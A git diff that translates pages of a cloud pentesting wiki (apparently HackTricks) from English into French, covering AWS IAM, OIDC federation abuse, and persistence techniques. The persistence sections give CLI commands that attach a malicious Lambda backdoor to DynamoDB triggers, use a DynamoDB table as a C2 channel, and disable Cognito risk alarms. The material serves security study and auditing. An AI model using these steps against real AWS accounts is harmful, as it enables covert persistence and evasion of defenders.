+### Confiances et rôles inter-comptes
 
-**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
-It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
+**Un utilisateur** (faisant confiance) peut créer un rôle inter-comptes avec certaines politiques et ensuite, **permettre à un autre utilisateur** (de confiance) d'**accéder à son compte** mais seulement **avec l'accès indiqué dans les nouvelles politiques de rôle**. Pour créer cela, il suffit de créer un nouveau rôle et de sélectionner le rôle inter-comptes. Les rôles pour l'accès inter-comptes offrent deux options. Fournir un accès entre les comptes AWS que vous possédez, et fournir un accès entre un compte que vous possédez et un compte AWS tiers.\
+Il est recommandé de **spécifier l'utilisateur qui est de confiance et de ne pas mettre quelque chose de générique** car sinon, d'autres utilisateurs authentifiés comme les utilisateurs fédérés pourront également abuser de cette confiance.
 
 ### AWS Simple AD
 
-Not supported:
+Non pris en charge :
 
-- Trust Relations
-- AD Admin Center
-- Full PS API support
-- AD Recycle Bin
-- Group Managed Service Accounts
-- Schema Extensions
-- No Direct access to OS or Instances
+- Relations de confiance
+- Centre d'administration AD
+- Prise en charge complète de l'API PS
+- Corbeille AD
+- Comptes de service gérés par groupe
+- Extensions de schéma
+- Pas d'accès direct à l'OS ou aux instances
 
-#### Web Federation or OpenID Authentication
+#### Fédération Web ou authentification OpenID
 
-The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
+L'application utilise AssumeRoleWithWebIdentity pour créer des identifiants temporaires. Cependant, cela ne donne pas accès à la console AWS, juste accès aux ressources au sein d'AWS.
 
-### Other IAM options
+### Autres options IAM
 
-- You can **set a password policy setting** options like minimum length and password requirements.
-- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
+- Vous pouvez **définir une politique de mot de passe** avec des options comme la longueur minimale et les exigences de mot de passe.
+- Vous pouvez **télécharger un "Rapport d'identifiants"** avec des informations sur les identifiants actuels (comme le temps de création de l'utilisateur, si le mot de passe est activé...). Vous pouvez générer un rapport d'identifiants aussi souvent qu'une fois toutes les **quatre heures**.
 
-AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
+La gestion des identités et des accès AWS (IAM) fournit un **contrôle d'accès granulaire** sur l'ensemble d'AWS. Avec IAM, vous pouvez spécifier **qui peut accéder à quels services et ressources**, et sous quelles conditions. Avec les politiques IAM, vous gérez les permissions de votre main-d'œuvre et de vos systèmes pour **assurer des permissions de moindre privilège**.
 
-### IAM ID Prefixes
+### Préfixes d'ID IAM
 
-In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
+Dans [**cette page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids), vous pouvez trouver les **préfixes d'ID IAM** des clés en fonction de leur nature :
 
-| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html)                                                                                                          |
+| ABIA | [Jeton porteur de service AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html)                                                                                                          |
 | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ACCA | Context-specific credential                                                                                                                                                                                          |
-| AGPA | User group                                                                                                                                                                                                           |
-| AIDA | IAM user                                                                                                                                                                                                             |
-| AIPA | Amazon EC2 instance profile                                                                                                                                                                                          |
-| AKIA | Access key                                                                                                                                                                                                           |
-| ANPA | Managed policy                                                                                                                                                                                                       |
-| ANVA | Version in a managed policy                                                                                                                                                                                          |
-| APKA | Public key                                                                                                                                                                                                           |
-| AROA | Role                                                                                                                                                                                                                 |
-| ASCA | Certificate                                                                                                                                                                                                          |
-| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
+| ACCA | Identifiant spécifique au contexte                                                                                                                                                                                          |
+| AGPA | Groupe d'utilisateurs                                                                                                                                                                                                           |
+| AIDA | Utilisateur IAM                                                                                                                                                                                                             |
+| AIPA | Profil d'instance Amazon EC2                                                                                                                                                                                          |
+| AKIA | Clé d'accès                                                                                                                                                                                                           |
+| ANPA | Politique gérée                                                                                                                                                                                                       |
+| ANVA | Version dans une politique gérée                                                                                                                                                                                          |
+| APKA | Clé publique                                                                                                                                                                                                           |
+| AROA | Rôle                                                                                                                                                                                                                 |
+| ASCA | Certificat                                                                                                                                                                                                          |
+| ASIA | [Identifiants de clé d'accès temporaires (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilisent ce préfixe, mais sont uniques uniquement en combinaison avec la clé d'accès secrète et le jeton de session. |
 
-### Recommended permissions to audit accounts
+### Permissions recommandées pour auditer les comptes
 
-The following privileges grant various read access of metadata:
+Les privilèges suivants accordent divers accès en lecture des métadonnées :
 
 - `arn:aws:iam::aws:policy/SecurityAudit`
 - `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -336,14 +318,13 @@ The following privileges grant various read access of metadata:
 - `directconnect:DescribeConnections`
 - `dynamodb:ListTables`
 
-## Misc
+## Divers
 
-### CLI Authentication
-
-In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
-In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
-Example of credentials file with more than 1 profile:
+### Authentification CLI
 
+Pour qu'un utilisateur régulier s'authentifie à AWS via CLI, vous devez avoir des **identifiants locaux**. Par défaut, vous pouvez les configurer **manuellement** dans `~/.aws/credentials` ou en **exécutant** `aws configure`.\
+Dans ce fichier, vous pouvez avoir plus d'un profil, si **aucun profil** n'est spécifié en utilisant le **cli aws**, celui appelé **`[default]`** dans ce fichier sera utilisé.\
+Exemple de fichier d'identifiants avec plus d'un profil :
 ```
 [default]
 aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -354,12 +335,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
 aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
 region = eu-west-2
 ```
-
 If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
 
-You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
-A config file example:
-
+Vous pouvez utiliser le fichier `~/.aws/config` pour [**indiquer quels rôles assumer**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), puis utiliser le paramètre `--profile` comme d'habitude (l'`assume-role` sera effectué de manière transparente pour l'utilisateur).\
+Un exemple de fichier de configuration :
 ```
 [profile acc2]
 region=eu-west-2
@@ -368,23 +347,16 @@ role_session_name = <session_name>
 source_profile = <profile_with_assume_role>
 sts_regional_endpoints = regional
 ```
-
-With this config file you can then use aws cli like:
-
+Avec ce fichier de configuration, vous pouvez ensuite utiliser aws cli comme :
 ```
 aws --profile acc2 ...
 ```
+Si vous recherchez quelque chose de **similaire** à cela mais pour le **navigateur**, vous pouvez consulter l'**extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
 
-If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
-
-## References
+## Références
 
 - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
 - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
 - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 73ae6b448..47c68f503 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -4,84 +4,81 @@
 
 ## SAML
 
-For info about SAML please check:
+Pour des informations sur SAML, veuillez consulter :
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/saml-attacks
 {{#endref}}
 
-In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
+Pour configurer une **fédération d'identité via SAML**, vous devez simplement fournir un **nom** et le **XML de métadonnées** contenant toute la configuration SAML (**points de terminaison**, **certificat** avec clé publique)
 
-## OIDC - Github Actions Abuse
+## OIDC - Abus des actions Github
 
-In order to add a github action as Identity provider:
-
-1. For _Provider type_, select **OpenID Connect**.
-2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
-3. Click on _Get thumbprint_ to get the thumbprint of the provider
-4. For _Audience_, enter `sts.amazonaws.com`
-5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
-   - ```json
-     {
-       "Version": "2012-10-17",
-       "Statement": [
-         {
-           "Effect": "Allow",
-           "Principal": {
-             "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
-           },
-           "Action": "sts:AssumeRoleWithWebIdentity",
-           "Condition": {
-             "StringEquals": {
-               "token.actions.githubusercontent.com:sub": [
-                 "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
-                 "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
-               ],
-               "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
-             }
-           }
-         }
-       ]
-     }
-     ```
-6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
-7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
-8. Finally use a github action to configure the AWS creds to be used by the workflow:
+Pour ajouter une action github en tant que fournisseur d'identité :
 
+1. Pour _Type de fournisseur_, sélectionnez **OpenID Connect**.
+2. Pour _URL du fournisseur_, entrez `https://token.actions.githubusercontent.com`
+3. Cliquez sur _Obtenir l'empreinte digitale_ pour obtenir l'empreinte digitale du fournisseur
+4. Pour _Audience_, entrez `sts.amazonaws.com`
+5. Créez un **nouveau rôle** avec les **permissions** nécessaires à l'action github et une **politique de confiance** qui fait confiance au fournisseur comme :
+- ```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"token.actions.githubusercontent.com:sub": [
+"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
+"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
+],
+"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
+}
+}
+}
+]
+}
+```
+6. Notez dans la politique précédente comment seule une **branche** du **dépôt** d'une **organisation** a été autorisée avec un **déclencheur** spécifique.
+7. L'**ARN** du **rôle** que l'action github va pouvoir **imiter** sera le "secret" que l'action github doit connaître, donc **stockez-le** à l'intérieur d'un **secret** dans un **environnement**.
+8. Enfin, utilisez une action github pour configurer les identifiants AWS à utiliser par le workflow :
 ```yaml
 name: "test AWS Access"
 
 # The workflow should only trigger on pull requests to the main branch
 on:
-  pull_request:
-    branches:
-      - main
+pull_request:
+branches:
+- main
 
 # Required to get the ID Token that will be used for OIDC
 permissions:
-  id-token: write
-  contents: read # needed for private repos to checkout
+id-token: write
+contents: read # needed for private repos to checkout
 
 jobs:
-  aws:
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout
-        uses: actions/checkout@v3
+aws:
+runs-on: ubuntu-latest
+steps:
+- name: Checkout
+uses: actions/checkout@v3
 
-      - name: Configure AWS Credentials
-        uses: aws-actions/configure-aws-credentials@v1
-        with:
-          aws-region: eu-west-1
-          role-to-assume:${{ secrets.READ_ROLE }}
-          role-session-name: OIDCSession
+- name: Configure AWS Credentials
+uses: aws-actions/configure-aws-credentials@v1
+with:
+aws-region: eu-west-1
+role-to-assume:${{ secrets.READ_ROLE }}
+role-session-name: OIDCSession
 
-      - run: aws sts get-caller-identity
-        shell: bash
+- run: aws sts get-caller-identity
+shell: bash
 ```
-
-## OIDC - EKS Abuse
-
+## OIDC - Abus EKS
 ```bash
 # Crate an EKS cluster (~10min)
 eksctl create cluster --name demo --fargate
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
 # Create an Identity Provider for an EKS cluster
 eksctl utils associate-iam-oidc-provider --cluster Testing --approve
 ```
-
-It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
-
+Il est possible de générer des **OIDC providers** dans un **EKS** cluster simplement en définissant l'**OIDC URL** du cluster comme un **nouveau fournisseur d'identité Open ID**. C'est une politique par défaut courante :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Principal": {
-        "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
-      },
-      "Action": "sts:AssumeRoleWithWebIdentity",
-      "Condition": {
-        "StringEquals": {
-          "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
-        }
-      }
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
+}
+}
+}
+]
 }
 ```
+Cette politique indique correctement que **seulement** le **cluster EKS** avec **id** `20C159CDF6F2349B68846BEC03BE031B` peut assumer le rôle. Cependant, elle n'indique pas quel compte de service peut l'assumer, ce qui signifie que **N'IMPORTE quel compte de service avec un jeton d'identité web** va **pouvoir assumer** le rôle.
 
-This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
-
-In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
-
+Pour spécifier **quel compte de service devrait pouvoir assumer le rôle,** il est nécessaire de spécifier une **condition** où le **nom du compte de service est spécifié**, comme :
 ```bash
 "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
 ```
-
-## References
+## Références
 
 - [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index 28868b9f1..ee302deca 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -1,21 +1,17 @@
-# AWS - Permissions for a Pentest
+# AWS - Permissions pour un Pentest
 
 {{#include ../../banners/hacktricks-training.md}}
 
-These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
+Voici les permissions dont vous avez besoin sur chaque compte AWS que vous souhaitez auditer pour pouvoir exécuter tous les outils d'audit AWS proposés :
 
-- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
-- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
-  - **access-analyzer:List\***
-  - **access-analyzer:Get\***
-  - **iam:CreateServiceLinkedRole**
-  - **access-analyzer:CreateAnalyzer**
-    - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
-  - **access-analyzer:DeleteAnalyzer**
-    - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
+- La politique par défaut **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
+- Pour exécuter [aws_iam_review](https://github.com/carlospolop/aws_iam_review), vous avez également besoin des permissions :
+- **access-analyzer:List\***
+- **access-analyzer:Get\***
+- **iam:CreateServiceLinkedRole**
+- **access-analyzer:CreateAnalyzer**
+- Optionnel si le client génère les analyseurs pour vous, mais généralement, il est plus facile de demander simplement cette permission)
+- **access-analyzer:DeleteAnalyzer**
+- Optionnel si le client supprime les analyseurs pour vous, mais généralement, il est plus facile de demander simplement cette permission)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md
index f3b45c4d3..69376b92b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md
@@ -1,6 +1 @@
-# AWS - Persistence
-
-
-
-
-
+# AWS - Persistance
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index 6d2b0ec35..eb452d3d4 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -4,7 +4,7 @@
 
 ## API Gateway
 
-For more information go to:
+Pour plus d'informations, allez à :
 
 {{#ref}}
 ../aws-services/aws-api-gateway-enum.md
@@ -12,25 +12,21 @@ For more information go to:
 
 ### Resource Policy
 
-Modify the resource policy of the API gateway(s) to grant yourself access to them
+Modifiez la politique de ressource des API gateway pour vous accorder l'accès.
 
 ### Modify Lambda Authorizers
 
-Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
-Or just remove the use of the authorizer.
+Modifiez le code des authorizers lambda pour vous accorder l'accès à tous les points de terminaison.\
+Ou supprimez simplement l'utilisation de l'authorizer.
 
 ### IAM Permissions
 
-If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
-Or just remove the use of the authorizer.
+Si une ressource utilise un authorizer IAM, vous pourriez vous accorder l'accès en modifiant les permissions IAM.\
+Ou supprimez simplement l'utilisation de l'authorizer.
 
 ### API Keys
 
-If API keys are used, you could leak them to maintain persistence or even create new ones.\
-Or just remove the use of API keys.
+Si des clés API sont utilisées, vous pourriez les leak pour maintenir la persistance ou même en créer de nouvelles.\
+Ou supprimez simplement l'utilisation des clés API.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index e2e037e53..2091a2fc2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -4,24 +4,24 @@
 
 ## Cognito
 
-For more information, access:
+Pour plus d'informations, accédez à :
 
 {{#ref}}
 ../aws-services/aws-cognito-enum/
 {{#endref}}
 
-### User persistence
+### Persistance des utilisateurs
 
-Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
+Cognito est un service qui permet d'attribuer des rôles aux utilisateurs non authentifiés et authentifiés et de contrôler un annuaire d'utilisateurs. Plusieurs configurations différentes peuvent être modifiées pour maintenir une certaine persistance, comme :
 
-- **Adding a User Pool** controlled by the user to an Identity Pool
-- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
-  - Or to an **authenticated Identity Pool** if the attacker can login
-  - Or **improve the permissions** of the given roles
-- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
-- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
+- **Ajouter un User Pool** contrôlé par l'utilisateur à un Identity Pool
+- Donner un **rôle IAM à un Identity Pool non authentifié et permettre le flux d'authentification de base**
+- Ou à un **Identity Pool authentifié** si l'attaquant peut se connecter
+- Ou **améliorer les permissions** des rôles donnés
+- **Créer, vérifier & privesc** via des utilisateurs contrôlés par des attributs ou de nouveaux utilisateurs dans un **User Pool**
+- **Permettre aux fournisseurs d'identité externes** de se connecter dans un User Pool ou dans un Identity Pool
 
-Check how to do these actions in
+Vérifiez comment effectuer ces actions dans
 
 {{#ref}}
 ../aws-privilege-escalation/aws-cognito-privesc.md
@@ -29,18 +29,12 @@ Check how to do these actions in
 
 ### `cognito-idp:SetRiskConfiguration`
 
-An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
-
+Un attaquant avec ce privilège pourrait modifier la configuration des risques pour pouvoir se connecter en tant qu'utilisateur Cognito **sans que des alarmes ne soient déclenchées**. [**Consultez le cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) pour vérifier toutes les options :
 ```bash
 aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
 ```
-
-By default this is disabled:
+Par défaut, cela est désactivé :
 
 <figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index 75a824e73..aaf23f2ec 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -1,67 +1,59 @@
-# AWS - DynamoDB Persistence
+# AWS - Persistance DynamoDB
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ### DynamoDB
 
-For more information access:
+Pour plus d'informations, accédez à :
 
 {{#ref}}
 ../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
-### DynamoDB Triggers with Lambda Backdoor
-
-Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
+### Déclencheurs DynamoDB avec Backdoor Lambda
 
+En utilisant des déclencheurs DynamoDB, un attaquant peut créer une **backdoor discrète** en associant une fonction Lambda malveillante à une table. La fonction Lambda peut être déclenchée lorsqu'un élément est ajouté, modifié ou supprimé, permettant à l'attaquant d'exécuter du code arbitraire au sein du compte AWS.
 ```bash
 # Create a malicious Lambda function
 aws lambda create-function \
-    --function-name MaliciousFunction \
-    --runtime nodejs14.x \
-    --role <LAMBDA_ROLE_ARN> \
-    --handler index.handler \
-    --zip-file fileb://malicious_function.zip \
-    --region <region>
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role <LAMBDA_ROLE_ARN> \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region <region>
 
 # Associate the Lambda function with the DynamoDB table as a trigger
 aws dynamodbstreams describe-stream \
-    --table-name TargetTable \
-    --region <region>
+--table-name TargetTable \
+--region <region>
 
 # Note the "StreamArn" from the output
 aws lambda create-event-source-mapping \
-    --function-name MaliciousFunction \
-    --event-source <STREAM_ARN> \
-    --region <region>
+--function-name MaliciousFunction \
+--event-source <STREAM_ARN> \
+--region <region>
 ```
+Pour maintenir la persistance, l'attaquant peut créer ou modifier des éléments dans la table DynamoDB, ce qui déclenchera la fonction Lambda malveillante. Cela permet à l'attaquant d'exécuter du code au sein du compte AWS sans interaction directe avec la fonction Lambda.
 
-To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
-
-### DynamoDB as a C2 Channel
-
-An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
+### DynamoDB comme canal C2
 
+Un attaquant peut utiliser une table DynamoDB comme un **canal de commande et de contrôle (C2)** en créant des éléments contenant des commandes et en utilisant des instances compromises ou des fonctions Lambda pour récupérer et exécuter ces commandes.
 ```bash
 # Create a DynamoDB table for C2
 aws dynamodb create-table \
-    --table-name C2Table \
-    --attribute-definitions AttributeName=CommandId,AttributeType=S \
-    --key-schema AttributeName=CommandId,KeyType=HASH \
-    --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
-    --region <region>
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region <region>
 
 # Insert a command into the table
 aws dynamodb put-item \
-    --table-name C2Table \
-    --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
-    --region <region>
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region <region>
 ```
-
-The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
+Les instances compromises ou les fonctions Lambda peuvent vérifier périodiquement la table C2 pour de nouvelles commandes, les exécuter et, en option, rapporter les résultats à la table. Cela permet à l'attaquant de maintenir la persistance et le contrôle sur les ressources compromises.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index b52ac9e85..e38899bb0 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -4,55 +4,51 @@
 
 ## EC2
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-### Security Group Connection Tracking Persistence
+### Suivi de connexion du groupe de sécurité
 
-If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
+Si un défenseur découvre qu'une **instance EC2 a été compromise**, il essaiera probablement d'**isoler** le **réseau** de la machine. Il pourrait le faire avec un **Deny NACL** explicite (mais les NACL affectent tout le sous-réseau), ou en **modifiant le groupe de sécurité** pour ne pas autoriser **aucun type de trafic entrant ou sortant**.
 
-If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+Si l'attaquant avait un **reverse shell provenant de la machine**, même si le SG est modifié pour ne pas autoriser le trafic entrant ou sortant, la **connexion ne sera pas interrompue en raison de** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
 
-### EC2 Lifecycle Manager
+### Gestionnaire de cycle de vie EC2
 
-This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
-An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
+Ce service permet de **programmer** la **création d'AMIs et de snapshots** et même de **les partager avec d'autres comptes**.\
+Un attaquant pourrait configurer la **génération d'AMIs ou de snapshots** de toutes les images ou de tous les volumes **toutes les semaines** et **les partager avec son compte**.
 
-### Scheduled Instances
+### Instances programmées
 
-It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
+Il est possible de programmer des instances pour qu'elles s'exécutent quotidiennement, hebdomadairement ou même mensuellement. Un attaquant pourrait exécuter une machine avec des privilèges élevés ou un accès intéressant où il pourrait accéder.
